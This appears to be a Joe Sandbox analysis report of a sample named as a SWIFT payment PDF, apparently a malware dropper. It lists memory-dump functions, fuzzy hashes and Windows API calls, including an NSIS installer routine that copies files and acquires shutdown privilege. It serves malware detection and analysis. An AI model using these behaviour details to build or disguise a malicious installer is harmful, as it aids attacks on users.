Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40022aef723eb88c2b74d359f92a06b8e8daa81948d8c398989770504e61a0df
Instruction ID: 0b129e64b518fe4d154b86f5afc0162bc72c4cbf9564858ade3168d7b55c02ab
Opcode Fuzzy Hash: 40022aef723eb88c2b74d359f92a06b8e8daa81948d8c398989770504e61a0df
Instruction Fuzzy Hash: 71C08033345621074E19B31DB48449FE795CDCA3517108D37F015C311C6D509D8B41D5

Function 38FBD72F Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ba656393274d59f3a85a693e6cbe532d51591ca8f8eb1f34f712b5296d76e058
Instruction ID: 8b2b03919c8c833ff2661ba05045b3649dcb2cab8058b3e34eb7ca362752b36a
Opcode Fuzzy Hash: ba656393274d59f3a85a693e6cbe532d51591ca8f8eb1f34f712b5296d76e058
Instruction Fuzzy Hash: FCD0A72410C1D45ECB1307B0A0A949C3F71DF46509F1001D8D49756943CD9184139700

Function 38FBBD48 Relevance: .0, Instructions: 13COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c2342c7d300ed10c12c689afd5077d6170aa5701c3c46c2cd3cce21750b1537
Instruction ID: 731de7f9054f6b8633e5c074188d796564668aba83041580744703456eade4c2
Opcode Fuzzy Hash: 7c2342c7d300ed10c12c689afd5077d6170aa5701c3c46c2cd3cce21750b1537
Instruction Fuzzy Hash: B3C08CF102960A8BD6002BA0F00CB39BBA8A78B32AF8A3D22E42C210208F744001C644

Function 36005710 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 861b6e30d090678b53078632b311d5ab7b31764748643f682a54d4198a502d3a
Instruction ID: 02003358d5bab6a1830c0b4867ab8fc9dfdbcc3d96df0a4cde87279aa86276ae
Opcode Fuzzy Hash: 861b6e30d090678b53078632b311d5ab7b31764748643f682a54d4198a502d3a
Instruction Fuzzy Hash: 12C022310A83084EC300E320CC12604733EAA802007808220D0052A32DEF78688B0780

Function 38FBD0A1 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8604871b8ec201ef9ebbd4ff6d448188344700758821cfb4c34dd5f18196b46f
Instruction ID: 925535f48e9a62e3b8f373ad7e4a30df727961684d1169f437f4df1d36d1de34
Opcode Fuzzy Hash: 8604871b8ec201ef9ebbd4ff6d448188344700758821cfb4c34dd5f18196b46f
Instruction Fuzzy Hash: 10C0803370C6911FDB26D37D74515CCBF528FC4510B0949BDD15947155ED509A8783C8

Function 38FB94B4 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7f2f1a9c42fea96343956f61e129a3f16eeb43b993568f26af8c9f0efd286476
Instruction ID: a9142ff86ab29cee3a21fb053a622f5bf9fcc86b5e8bb904ffbfb96f8e2d7b00
Opcode Fuzzy Hash: 7f2f1a9c42fea96343956f61e129a3f16eeb43b993568f26af8c9f0efd286476
Instruction Fuzzy Hash: 42C04C312A42048FD6409B5ED989A5677ACEF85B04F5058E1F6058B63ACA62FC414655

Function 38FBCF39 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4bbdc9b25b0442db270e02a1ed493fb54f747b483925d6ed8b380c042114f268
Instruction ID: 95b1c6ed24ba15e5a0f4f64b9b73b77bbd2f9a8975ac99bebe09d2466412563d
Opcode Fuzzy Hash: 4bbdc9b25b0442db270e02a1ed493fb54f747b483925d6ed8b380c042114f268
Instruction Fuzzy Hash: 04C08C346546048FDB019B1DC046A813BA8AF46B08F4000D1E5498BB32C622BC108B50

Function 3600B2C2 Relevance: .0, Instructions: 6COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2960984662.0000000036000000.00000040.00000800.00020000.00000000.sdmp, Offset: 36000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_36000000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 20be0a2132a73d265dcc5d9684ecc9b4b67e8d37c32d18d97354ec59f26cd2ee
Instruction ID: 24a805838044a02a78b8e80029c6cec3b872bc9dce735b1289627d0501508dc3
Opcode Fuzzy Hash: 20be0a2132a73d265dcc5d9684ecc9b4b67e8d37c32d18d97354ec59f26cd2ee
Instruction Fuzzy Hash: 2DB012B29581401ACF6A5A34492EE0B2941DF7CB42B444E9E5002C10E1CC26C101C902

Non-executed Functions

Function 004032A0 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 401stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32 ref: 004032C2
GetVersion.KERNEL32 ref: 004032C8
#17.COMCTL32(00000007,00000009,SETUPAPI,USERENV,UXTHEME), ref: 00403318
OleInitialize.OLE32(00000000), ref: 0040331F
SHGetFileInfoW.SHELL32(0042B228,00000000,?,?,00000000), ref: 0040333B
GetCommandLineW.KERNEL32(00433F00,NSIS Error), ref: 00403350
GetModuleHandleW.KERNEL32(00000000,0043F000,00000000), ref: 00403363
CharNextW.USER32(00000000,0043F000,?), ref: 0040338A

Part of subcall function 0040642B: GetModuleHandleA.KERNEL32(?,?,?,0040330C,00000009,SETUPAPI,USERENV,UXTHEME), ref: 0040643D
Part of subcall function 0040642B: GetProcAddress.KERNEL32(00000000,?), ref: 00406458

GetTempPathW.KERNEL32(00000400,00441800), ref: 004034C5
GetWindowsDirectoryW.KERNEL32(00441800,000003FB), ref: 004034D6
lstrcatW.KERNEL32(00441800,\Temp), ref: 004034E2
GetTempPathW.KERNEL32(000003FC,00441800,00441800,\Temp), ref: 004034F6
lstrcatW.KERNEL32(00441800,Low), ref: 004034FE
SetEnvironmentVariableW.KERNEL32(TEMP,00441800,00441800,Low), ref: 0040350F
SetEnvironmentVariableW.KERNEL32(TMP,00441800), ref: 00403517
DeleteFileW.KERNEL32(00441000), ref: 0040352B

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

OleUninitialize.OLE32(?), ref: 004035F6
ExitProcess.KERNEL32 ref: 00403618
lstrcatW.KERNEL32(00441800,~nsu,0043F000,00000000,?), ref: 0040362B
lstrcatW.KERNEL32(00441800,0040A26C,00441800,~nsu,0043F000,00000000,?), ref: 0040363A
lstrcatW.KERNEL32(00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403645
lstrcmpiW.KERNEL32(00441800,00440800,00441800,.tmp,00441800,~nsu,0043F000,00000000,?), ref: 00403651
SetCurrentDirectoryW.KERNEL32(00441800,00441800), ref: 0040366D
DeleteFileW.KERNEL32(0042AA28,0042AA28,?,00435000,?), ref: 004036C7
CopyFileW.KERNEL32(00442800,0042AA28,00000001), ref: 004036DB
CloseHandle.KERNEL32(00000000,0042AA28,0042AA28,?,0042AA28,00000000), ref: 00403708
GetCurrentProcess.KERNEL32(?,?), ref: 00403737
OpenProcessToken.ADVAPI32(00000000), ref: 0040373E
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403753
AdjustTokenPrivileges.ADVAPI32 ref: 00403776
ExitWindowsEx.USER32(00000002,80040002), ref: 0040379B
ExitProcess.KERNEL32 ref: 004037BE

Strings

\Temp, xrefs: 004034DC
.tmp, xrefs: 0040363F
NSIS Error, xrefs: 00403341
Low, xrefs: 004034F8
USERENV, xrefs: 004032F1
UXTHEME, xrefs: 004032E7
SETUPAPI, xrefs: 004032FB
TEMP, xrefs: 0040350A
~nsu, xrefs: 00403623
Error launching installer, xrefs: 004035AD
TMP, xrefs: 00403512
SeShutdownPrivilege, xrefs: 0040374D

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyErrorInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesProcUninitializeValueVersionlstrcmpilstrcpyn
String ID: .tmp$Error launching installer$Low$NSIS Error$SETUPAPI$SeShutdownPrivilege$TEMP$TMP$USERENV$UXTHEME$\Temp$~nsu
API String ID: 3586999533-3972089011
Opcode ID: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction ID: 84ba5929d45b1413e1818888a5ef7abe037fd34abcf77f3f73da9f6cce4da4cf
Opcode Fuzzy Hash: b76b61fe59c96232ee09de7477e4ba1d3ea630d83fddd21a04d7d9ff3721efeb
Instruction Fuzzy Hash: 35D1F870500300ABD310BF659D49A3B3AADEB8174AF51443FF581B62E2DB7D8945876E

Function 00404B30 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B48
GetDlgItem.USER32(?,00000408), ref: 00404B53
GlobalAlloc.KERNEL32(?,?), ref: 00404B9D
LoadBitmapW.USER32(0000006E), ref: 00404BB0
SetWindowLongW.USER32(?,?,00405128), ref: 00404BC9
ImageList_Create.COMCTL32(?,?,00000021,00000006,00000000), ref: 00404BDD
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BEF
SendMessageW.USER32(?,00001109,00000002), ref: 00404C05
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404C11
SendMessageW.USER32(?,0000111B,?,00000000), ref: 00404C23
DeleteObject.GDI32(00000000), ref: 00404C26
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C51
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C5D
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CF3
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404D1E
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D32
GetWindowLongW.USER32(?,?), ref: 00404D61
SetWindowLongW.USER32(?,?,00000000), ref: 00404D6F
ShowWindow.USER32(?,00000005), ref: 00404D80
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E7D
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EE2
SendMessageW.USER32(?,?,00000000,00000000), ref: 00404EF7
SendMessageW.USER32(?,00000420,00000000,?), ref: 00404F1B
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F3B
ImageList_Destroy.COMCTL32(?), ref: 00404F50
GlobalFree.KERNEL32(?), ref: 00404F60
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FD9
SendMessageW.USER32(?,00001102,?,?), ref: 00405082
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405091
InvalidateRect.USER32(?,00000000,00000001), ref: 004050B1
ShowWindow.USER32(?,00000000), ref: 004050FF
GetDlgItem.USER32(?,000003FE), ref: 0040510A
ShowWindow.USER32(00000000), ref: 00405111

Strings

, xrefs: 004050E9
M, xrefs: 00404CDA
N, xrefs: 00404DBB

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction ID: 943130f726a074c81f80d4b2a4465e83a32f395645510c1f9de1d6fa8cfacfb7
Opcode Fuzzy Hash: 4cbb5e0717cdc748ffed23d4a8be9d35437acf42fd757cc9a3c8c6ab170577e7
Instruction Fuzzy Hash: 0A028FB0900209EFDB209F64DD85AAE7BB5FB84314F14857AF610BA2E1C7789D42DF58

Function 38FBAFF8 Relevance: 23.0, Strings: 18, Instructions: 461COMMON

Download Yara Rule

Strings

PH^q, xrefs: 38FBB51E
LjAp, xrefs: 38FBB5A6
LjAp, xrefs: 38FBB4AE
PH^q, xrefs: 38FBB429
LjAp, xrefs: 38FBB2AB
0oAp, xrefs: 38FBB147
LjAp, xrefs: 38FBB3B9
PH^q, xrefs: 38FBB619
LjAp, xrefs: 38FBB498
PH^q, xrefs: 38FBB43D
", xrefs: 38FBB7CE
LjAp, xrefs: 38FBB3A3
PH^q, xrefs: 38FBB62D
PH^q, xrefs: 38FBB345
LjAp, xrefs: 38FBB2C1
PH^q, xrefs: 38FBB532
LjAp, xrefs: 38FBB590
PH^q, xrefs: 38FBB331

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: "$0oAp$LjAp$LjAp$LjAp$LjAp$LjAp$LjAp$LjAp$LjAp$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-2009027844
Opcode ID: 3c5055e263af7e72aa23ec190db821e60a433da0da7a2a8254d94a32fc09441b
Instruction ID: 3c570697ae625275c4313369646fc1146d80c5660fa09c59483d87706f84d948
Opcode Fuzzy Hash: 3c5055e263af7e72aa23ec190db821e60a433da0da7a2a8254d94a32fc09441b
Instruction Fuzzy Hash: 21328FB4E00218CFDB64CF65C994B9DBBB2BF89300F1085A9D809AB365DB759E85CF50

Function 00405846 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,74DF3420,00441800,0043F000), ref: 0040586F
lstrcatW.KERNEL32(0042F270,\*.*,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058B7
lstrcatW.KERNEL32(?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058DA
lstrlenW.KERNEL32(?,?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058E0
FindFirstFileW.KERNEL32(0042F270,?,?,?,0040A014,?,0042F270,?,?,74DF3420,00441800,0043F000), ref: 004058F0
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,0040A300,0000002E), ref: 00405990
FindClose.KERNEL32(00000000), ref: 0040599F

Strings

\*.*, xrefs: 004058B1

Memory Dump Source

Source File: 00000004.00000002.2935914078.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2935897449.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935936886.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935951829.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2935979016.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_SWIFT091816-24_pdf.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction ID: 3422579b2d55acfa562187ab3f611d485c5dde76635b84dd87a68d04928cc13f
Opcode Fuzzy Hash: 758a93316bd333329ed0a6d4f3bd80d9b1b6158e35c963d2e10a1872ebc8ab6d
Instruction Fuzzy Hash: 4541F270900A04EADF21AB618C89BBF7678EF41724F14823BF801B51D1D77C49859E6E

Function 38FBAFF6 Relevance: 12.9, Strings: 10, Instructions: 362COMMON

Download Yara Rule

Strings

PH^q, xrefs: 38FBB51E
PH^q, xrefs: 38FBB619
PH^q, xrefs: 38FBB43D
", xrefs: 38FBB7CE
PH^q, xrefs: 38FBB429
PH^q, xrefs: 38FBB62D
PH^q, xrefs: 38FBB345
0oAp, xrefs: 38FBB147
PH^q, xrefs: 38FBB532
PH^q, xrefs: 38FBB331

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: "$0oAp$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q$PH^q
API String ID: 0-2641638890
Opcode ID: fe029171ab8a29bb3a108bd050f5ab4e39273ab7026074a952cb14ad869bc55b
Instruction ID: db16022deffa82ec1b2efce4a1d04794b6dcce5a1ae0753ff7d9a149a148fe91
Opcode Fuzzy Hash: fe029171ab8a29bb3a108bd050f5ab4e39273ab7026074a952cb14ad869bc55b
Instruction Fuzzy Hash: AB02A0B4E00218CFDB58CF69C994B9DBBB2BF89300F1085A9D409AB365DB759E85CF10

Function 38FB7B4F Relevance: 3.1, Strings: 2, Instructions: 603COMMON

Download Yara Rule

Strings

.5vq, xrefs: 38FB7C7B
BC8, xrefs: 38FB83D4

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: .5vq$BC8
API String ID: 0-4090705852
Opcode ID: 7f011e92319702a85cf131b13ec8e5f4a57f58c36862bf03ed82cacf4ce08d2b
Instruction ID: 82d0cbbe9bf5e023a2401081108fcd527512432c47e62be6d16b3fb5189f49d9
Opcode Fuzzy Hash: 7f011e92319702a85cf131b13ec8e5f4a57f58c36862bf03ed82cacf4ce08d2b
Instruction Fuzzy Hash: 13628974E01228CFDB65DF69C984B9DBBB2BF89300F1085EAD409AB254DB359E81CF50

Function 38FB5660 Relevance: 1.5, Strings: 1, Instructions: 268COMMON

Download Yara Rule

Strings

h46`i46, xrefs: 38FB56EA

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: h46`i46
API String ID: 0-4264466797
Opcode ID: c9b9d9f1e1046d6587536348c188c199fc402e92130ff5ccb97176b4efce9bf5
Instruction ID: cf51459239e072a4b7680a794ae908db19c5a3c9881d50e7d78e72c17f555c60
Opcode Fuzzy Hash: c9b9d9f1e1046d6587536348c188c199fc402e92130ff5ccb97176b4efce9bf5
Instruction Fuzzy Hash: E4C1BF74E01218CFDB15DFA5C994B9DBBB2AF89300F6081A9D409BB364DB399E85CF50

Function 38FB8193 Relevance: 1.4, Strings: 1, Instructions: 193COMMON

Download Yara Rule

Strings

BC8, xrefs: 38FB83D4

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: BC8
API String ID: 0-2870475904
Opcode ID: 4c1f486d83113a1ec2ef5766ba091e824016aa056458ddef0482f3af0b5eb5cf
Instruction ID: fbd27110940753141e0349c08b82d6c37ae42f2a58530da5b8593f589fd5de86
Opcode Fuzzy Hash: 4c1f486d83113a1ec2ef5766ba091e824016aa056458ddef0482f3af0b5eb5cf
Instruction Fuzzy Hash: 0FA19C74A01228CFDB65DF65C984BD9BBB2BF8A301F5085EAD40DA7250DB319E81CF51

Function 38FB8373 Relevance: 1.4, Strings: 1, Instructions: 116COMMON

Download Yara Rule

Strings

BC8, xrefs: 38FB83D4

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID: BC8
API String ID: 0-2870475904
Opcode ID: b2982415c0723861ad6c8e09d5269f72a541157696e8a9dcb99775ce821aeda6
Instruction ID: efedf86490ce9d9c55a76c6e25d5a7ac48cbe9ba81ed6158110f0de84519e66a
Opcode Fuzzy Hash: b2982415c0723861ad6c8e09d5269f72a541157696e8a9dcb99775ce821aeda6
Instruction Fuzzy Hash: 07518E74A01228CFCB65DF64C894B9DB7B2BB4A301F5089EAD40AB7250DB719E82CF50

Function 3841B930 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3637c164eb6103ab33ef3a564462b6db31137d91cd96ad187d3635ab57fbad22
Instruction ID: fbff379acf2ffd3291ad780685ad9ef1430a9ce20bc9e068dbad1aa16e74209c
Opcode Fuzzy Hash: 3637c164eb6103ab33ef3a564462b6db31137d91cd96ad187d3635ab57fbad22
Instruction Fuzzy Hash: C3C1B174E01218CFDB14DFA5C994B9DBBB2AF89300F6081A9D409BB364DB359A86CF10

Function 3841B07F Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70e76ad00cf0d8950d3ce20427501e4e09aa6e4c6e0efb9258a80dc4f5cbc9a7
Instruction ID: d6c57fa2f862d71d597b767a29e99020ae641a39927306ad27395808ae1d9362
Opcode Fuzzy Hash: 70e76ad00cf0d8950d3ce20427501e4e09aa6e4c6e0efb9258a80dc4f5cbc9a7
Instruction Fuzzy Hash: 25C1B074E01218CFDB14DFA5C994B9DBBB2AF89300F6081A9D409BB364DB359E86CF50

Function 3841B4D8 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6a912dee921c23a86fd9ca883e52974149d4b65bfce8f64889db21eab0fa4c0
Instruction ID: 71c8f1fc420ad99084151e31713bd9a801bb7b233503f3404d3cacb1c52c6a13
Opcode Fuzzy Hash: c6a912dee921c23a86fd9ca883e52974149d4b65bfce8f64889db21eab0fa4c0
Instruction Fuzzy Hash: ACC1A074E01218CFDB14DFA5C994B9DBBB2AF89300F6081A9D409BB764DB359E86CF50

Function 3841DEE1 Relevance: .3, Instructions: 273COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a37eff12521fce7fbbed2da41a3544e134445530296cfacf63b21ea1ec541d5
Instruction ID: 153c2b7b9df604a15094707300188c5261a5f3c03796826535fc907385a33170
Opcode Fuzzy Hash: 7a37eff12521fce7fbbed2da41a3544e134445530296cfacf63b21ea1ec541d5
Instruction Fuzzy Hash: 22C1B178E01218CFDB54DFA5C994B9DBBB2AF89300F6081A9D409BB365DB359E85CF10

Function 3841DA89 Relevance: .3, Instructions: 272COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 73934cece729d4fe680cb7c1d3853e2ce63b2ce3c0d79cda50decaab621dd9d6
Instruction ID: e684a4f12a3e45d6903e2f8f4348d1081ec661f073374e002071255ed63f7d37
Opcode Fuzzy Hash: 73934cece729d4fe680cb7c1d3853e2ce63b2ce3c0d79cda50decaab621dd9d6
Instruction Fuzzy Hash: 99C190B5E01218CFDB14DFA5C994B9DBBB2AF89300F6081A9D409BB364DB359E85CF50

Function 3841EBF2 Relevance: .3, Instructions: 270COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963271547.0000000038410000.00000040.00000800.00020000.00000000.sdmp, Offset: 38410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38410000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55d2d1e6c13f495d0b7c5f3e37740b37030004f685590727469eb067bf138be4
Instruction ID: c872c4fcc7c4c30e46ea3a1233983fceff06f018cad8356e564d5f09767b22b9
Opcode Fuzzy Hash: 55d2d1e6c13f495d0b7c5f3e37740b37030004f685590727469eb067bf138be4
Instruction Fuzzy Hash: A6C1A178E01218CFDB54DFA5C994B9DBBB2AF89300F6081A9D409BB365DB359E85CF10

Function 38FB7070 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf3f69260342c304d3ad1b9b25e1fa9c35347a95e17b44f48e50943733959236
Instruction ID: a25c4ca7cab84a3f59d5a5298a783ec6c07a281ac49507f0e4317bbe44a3f78e
Opcode Fuzzy Hash: cf3f69260342c304d3ad1b9b25e1fa9c35347a95e17b44f48e50943733959236
Instruction Fuzzy Hash: 4FC1BF78E00218CFDB15DFA5C984B9DBBB2AF89300F6081A9D408BB364DB359E85CF50

Function 38FB1858 Relevance: .3, Instructions: 268COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2963886192.0000000038FB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 38FB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_38fb0000_SWIFT091816-24_pdf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3fce31ef071e7676fda97213da72db416898b25a820cb481436258d25b30378
Instruction ID: 4456301934b229334564fb7b2540dad3dbfeab5c386b83e6b00e9d3ba39793ba
Opcode Fuzzy Hash: a3fce31ef071e7676fda97213da72db416898b25a820cb481436258d25b30378
Instruction Fuzzy Hash: 37C1BF74E00218CFDB15DFA5C994B9DBBB2AF89300F6085A9D409BB364DB359E86CF10

